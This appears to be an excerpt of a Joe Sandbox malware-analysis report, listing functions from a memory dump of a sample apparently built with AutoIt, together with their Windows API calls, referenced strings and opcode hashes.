Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: abce67e574d8fc33e3c0bed9e978ed25d0abc995e7adef815b527841114fc356
Instruction ID: c5fbaab827b3009dc0cf43dafc99e417580f5aec6110ac84a21149813f8ccdfe
Opcode Fuzzy Hash: abce67e574d8fc33e3c0bed9e978ed25d0abc995e7adef815b527841114fc356
Instruction Fuzzy Hash: 0C218471A00529AFCF50EF68CC82AAEB7B9FF44300F404454E559E7285DB34EA45DB66

Function 008016DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00802612: GetWindowLongW.USER32(?,000000EB), ref: 00802623

Part of subcall function 008025DB: GetWindowLongW.USER32(?,000000EB), ref: 008025EC

GetParent.USER32(?), ref: 0083B7BA
DefDlgProcW.USER32(?,00000133,?,?,?,?,?,?,?,?,008019B3,?,?,?,00000006,?), ref: 0083B834

Strings

S, xrefs: 0080172A, 0083B7D9, 0083B800

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: LongWindow$ParentProc
String ID: S
API String ID: 2181805148-2858979982
Opcode ID: 47e08a7c27536e5b34353a5bd703c9b736d25c766710a483b04a276717e6c34e
Instruction ID: 1e4e37a4ec4fde9791a32d60d30c5a29119a5f63dda1161b4e481aa8dff4d1c9
Opcode Fuzzy Hash: 47e08a7c27536e5b34353a5bd703c9b736d25c766710a483b04a276717e6c34e
Instruction Fuzzy Hash: 04219134201108AFCF608B68CC8DEA93BA6FB49334F584264F629DB2F6C771AD51DB50

Function 008866D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00886761
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0088676C

Strings

Combobox, xrefs: 0088672E

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 2af0c6088f5d52e1abc1e7483ae3206f613dc6ce5aebf1507dd96dcbbd82ed58
Instruction ID: 15d8b172d727545093224aeeaa99ad41918be228c7e809af0b74abbfab47d176
Opcode Fuzzy Hash: 2af0c6088f5d52e1abc1e7483ae3206f613dc6ce5aebf1507dd96dcbbd82ed58
Instruction Fuzzy Hash: E3118275200208AFEF21EF58DC81EBB376AFB98368F104229F914D7290E6759C6187A0

Function 008896F3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

S, xrefs: 0088971B

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID: S
API String ID: 0-2858979982
Opcode ID: 6faaafd638327deeb70efb63940715de8d8be35d6dd3b4e1f57d504031a481b9
Instruction ID: 1b764caeeeb278f6b7f9f0b944bd04f157c239b08051783230f00460167e17d7
Opcode Fuzzy Hash: 6faaafd638327deeb70efb63940715de8d8be35d6dd3b4e1f57d504031a481b9
Instruction Fuzzy Hash: EA217F35124108BFEF10BF58CD45FBA37A4FB09324F584165FA92DA1E1D671E950DB60

Function 00886C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00801D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00801D73
Part of subcall function 00801D35: GetStockObject.GDI32(00000011), ref: 00801D87
Part of subcall function 00801D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00801D91

GetWindowRect.USER32(00000000,?), ref: 00886C71
GetSysColor.USER32(00000012), ref: 00886C8B

Strings

static, xrefs: 00886C4E

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: b5d995db997e330eabbbf00b8fc4a75482aee9312393d079f7a0c5a190fe698e
Instruction ID: 1107178e453b86fc60d311f446bf538c4156e74682ddfbf771987c39d0d6b5ab
Opcode Fuzzy Hash: b5d995db997e330eabbbf00b8fc4a75482aee9312393d079f7a0c5a190fe698e
Instruction Fuzzy Hash: D7212C72510209AFDF04DFA8CC45EFA7BB9FB08315F004629FE55D2251E635E860DB60

Function 0088678B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

CreatePopupMenu.USER32 ref: 008867AA
CreatePopupMenu.USER32 ref: 00886828

Strings

S, xrefs: 00886802, 0088683D

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CreateMenuPopup
String ID: S
API String ID: 3826294624-2858979982
Opcode ID: e19a5c0b61584e706a11bd85d21decdfa314c711176cc15a484e42ca8110bf95
Instruction ID: e02fec4d2410e9aa2df76b1a729793a02c9aec22654ff3db126b3894f3aa329c
Opcode Fuzzy Hash: e19a5c0b61584e706a11bd85d21decdfa314c711176cc15a484e42ca8110bf95
Instruction Fuzzy Hash: C8215C78500609DFCB20EF28D448B9677F1FB09324F448669E859CB391E731ACA6DF91

Function 00886920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 008869A2
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 008869B1

Strings

edit, xrefs: 00886986

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 2845d51f1e49105b502820653306b5b8e9c7b26da24303d012891e9c357aa8be
Instruction ID: 31e41c436ff2208f8e2bf5fb96bbeafddd3375781bd5bd962ca3b7f169b41173
Opcode Fuzzy Hash: 2845d51f1e49105b502820653306b5b8e9c7b26da24303d012891e9c357aa8be
Instruction Fuzzy Hash: 17116D71110109ABEF10AE789C45AAB3BA9FB05378F604724FAA5D61E0E631DCA19760

Function 008629AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00862A22
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00862A41

Strings

0, xrefs: 00862A18

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: e723ddb1fc5dd561900e81fb6b5a4131e89c9a4d237017242f8d6ccba93dfb15
Instruction ID: 46ec6db68fa4a78ea3f3367f1aab674752d3991eca19be30b84611c36ee0e4ab
Opcode Fuzzy Hash: e723ddb1fc5dd561900e81fb6b5a4131e89c9a4d237017242f8d6ccba93dfb15
Instruction Fuzzy Hash: 5311BE32901928ABCF32DADCD844FEA77B9FB45315F0640A1E995F7290D7B0AD0AC791

Function 008721D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0087222C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00872255

Strings

<local>, xrefs: 0087221D

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 5b73cb5e25a93eb767afe9fa41986ade5b3d8f1bcde30b86554af83c70fd805d
Instruction ID: b33e5d08903113da7b63970423af129978f3aa2c42c22ba22095df78d5938e7f
Opcode Fuzzy Hash: 5b73cb5e25a93eb767afe9fa41986ade5b3d8f1bcde30b86554af83c70fd805d
Instruction Fuzzy Hash: 0011E070511225BADB248F158C84EBBFBA8FF0A355F10C22AFA28C6101D270E990D6F0

Function 008884E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 00888530

Strings

S, xrefs: 00888509

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend
String ID: S
API String ID: 3850602802-2858979982
Opcode ID: 00cd3d4b995b20ef6c171aa57cf9a82ed633167499480a734beda61b2c24d1c2
Instruction ID: 12b2fe9ad84c0cbf59094e0e086520957ba82439c363fa5b0484b5a2e78bdb1f
Opcode Fuzzy Hash: 00cd3d4b995b20ef6c171aa57cf9a82ed633167499480a734beda61b2c24d1c2
Instruction Fuzzy Hash: AB21B375A00209EFCB15EF98D844CAA7BB5FB4C354B504259FE06E7360DA31AD61DBA0

Function 00802327 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

S, xrefs: 0083BF21, 0083BF47

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID: S
API String ID: 0-2858979982
Opcode ID: 73490215817c0ad6b923e9eb6279e207ccd3c01153d180058bdeda9c941ab5b8
Instruction ID: c38887d724bdd1c3e4a32d88b362f4ae1ffbdb64cbe6aaa31b2b6aae0f3d87f5
Opcode Fuzzy Hash: 73490215817c0ad6b923e9eb6279e207ccd3c01153d180058bdeda9c941ab5b8
Instruction Fuzzy Hash: 1B112B75600604AFCB20DF28CC41E957BE6FB99320F158669FA699B3A0C771F940CF90

Function 00858E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

Part of subcall function 0085AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0085AABC

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00858E73

Strings

ListBox, xrefs: 00858E3D
ComboBox, xrefs: 00858E12

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 50dff9b840ce59c0d7ae77cfad9374b1e6836a410461995d08c2795fc370ae23
Instruction ID: e773fe5065edadea0a259f61bbd1b943a1051c5f8fe9bdab1bf94eea36c6ac39
Opcode Fuzzy Hash: 50dff9b840ce59c0d7ae77cfad9374b1e6836a410461995d08c2795fc370ae23
Instruction Fuzzy Hash: 69019271A01229ABCB15EBA8CC568FE7769FF46320B540A1AFC35E73D1EE35580CC661

Function 00858CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

Part of subcall function 0085AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0085AABC

SendMessageW.USER32(?,00000180,00000000,?), ref: 00858D6B

Strings

ListBox, xrefs: 00858D35
ComboBox, xrefs: 00858D0A

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 1d56e076bc8e61f086de7d33665b4c51579bc06000d37699cefd6e31c63536f8
Instruction ID: ee137e3bb6b21752acffe6c2947d498fcbae0b508b970491c729687f76e0de8d
Opcode Fuzzy Hash: 1d56e076bc8e61f086de7d33665b4c51579bc06000d37699cefd6e31c63536f8
Instruction Fuzzy Hash: 5001B171A41108ABDF15EBA4CD52AFE77A8FF15341F10002ABD15F72D1DE245A0CD672

Function 00858D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

Part of subcall function 0085AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0085AABC

SendMessageW.USER32(?,00000182,?,00000000), ref: 00858DEE

Strings

ListBox, xrefs: 00858DBA
ComboBox, xrefs: 00858D8F

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 2e8650f8c1011a5b840d2ee2ba91a2e2da65c7b1cc553565f5f3def84da2eb31
Instruction ID: edeb968316e95ccc5a150f745f1d15e6416d3ea101c20bbe823064bf329e0a22
Opcode Fuzzy Hash: 2e8650f8c1011a5b840d2ee2ba91a2e2da65c7b1cc553565f5f3def84da2eb31
Instruction Fuzzy Hash: 77018F71A41109ABDB15EAA8CD82AFE77A8FB11301F100126BC15F32D2DA255E0CD672

Function 00829402 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008299AC: __getptd_noexit.LIBCMT ref: 008299AD

__lock.LIBCMT ref: 00829443
_free.LIBCMT ref: 00829470

Strings

x, xrefs: 00829476, 0082947E

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __getptd_noexit__lock_free
String ID: x
API String ID: 1533244847-2890206012
Opcode ID: 6c6d72cf12556efc54ff50dfb64d822318f6f799966fbfb337d582854c12c175
Instruction ID: a63d9cb233d71a325c66457ae47beffd900ac1ce029016ae55a78e9318f1493d
Opcode Fuzzy Hash: 6c6d72cf12556efc54ff50dfb64d822318f6f799966fbfb337d582854c12c175
Instruction Fuzzy Hash: 6B110031D016359BCB21BF69A401699B7A0FB45B20F15422AE8D4E7290C73459C2CBCA

Function 0088C57D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00802612: GetWindowLongW.USER32(?,000000EB), ref: 00802623

DefDlgProcW.USER32(?,0000002B,?,?,?,?,?,?,?,0083B93A,?,?,?), ref: 0088C5F1

Part of subcall function 008025DB: GetWindowLongW.USER32(?,000000EB), ref: 008025EC

SendMessageW.USER32(?,00000401,00000000,00000000), ref: 0088C5D7

Strings

S, xrefs: 0088C5B6

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: LongWindow$MessageProcSend
String ID: S
API String ID: 982171247-2858979982
Opcode ID: 92ccd801c578d1481dff982ca145c89a4eaa4be4a3a11fa033776c83eded9c4a
Instruction ID: c1b9238908dc3ffde72391400fbc2b14d37b2aabd376513ca03bf27deae98529
Opcode Fuzzy Hash: 92ccd801c578d1481dff982ca145c89a4eaa4be4a3a11fa033776c83eded9c4a
Instruction Fuzzy Hash: 5101B531200604ABCF25AF18CC58E6B3BB6FF85764F140128FA519B2E1CB71B851DB61

Function 00864F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00864F46
_wcscmp.LIBCMT ref: 00864F58

Strings

#32770, xrefs: 00864F52

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 72df19c92063555bfc75f9bdc3637129d8e829694ceda0b1a8fe24e33ac9db10
Instruction ID: 394378f56aced29eb3deedefa220b85e4f4d91fbbf3c6f77dcf07d96c6bba294
Opcode Fuzzy Hash: 72df19c92063555bfc75f9bdc3637129d8e829694ceda0b1a8fe24e33ac9db10
Instruction Fuzzy Hash: A8E0D8326002386BE720AB99AC49FA7F7ACFB55B70F110067FD04D3151E970AA55CBE1

Function 0083B2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0083B314: _memset.LIBCMT ref: 0083B321

Part of subcall function 00820940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,0083B2F0,?,?,?,0080100A), ref: 00820945

IsDebuggerPresent.KERNEL32(?,?,?,0080100A), ref: 0083B2F4
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0080100A), ref: 0083B303

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0083B2FE

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 08a7f7f38d06424827b909911407464b84e69f28d59d7b6b0fd7e879ff1fe70e
Instruction ID: f60e9e34e428cd3605b796f1d2e423cd8d998e84c9b6fa09494f00444163a086
Opcode Fuzzy Hash: 08a7f7f38d06424827b909911407464b84e69f28d59d7b6b0fd7e879ff1fe70e
Instruction Fuzzy Hash: 53E06DB02007218BE760EF6CE8047427AE4FF40304F00892CE656C7742EBB4E488CBA1

Function 00885998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 008859AE
PostMessageW.USER32(00000000), ref: 008859B5

Part of subcall function 00865244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 008652BC

Strings

Shell_TrayWnd, xrefs: 008859A7

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
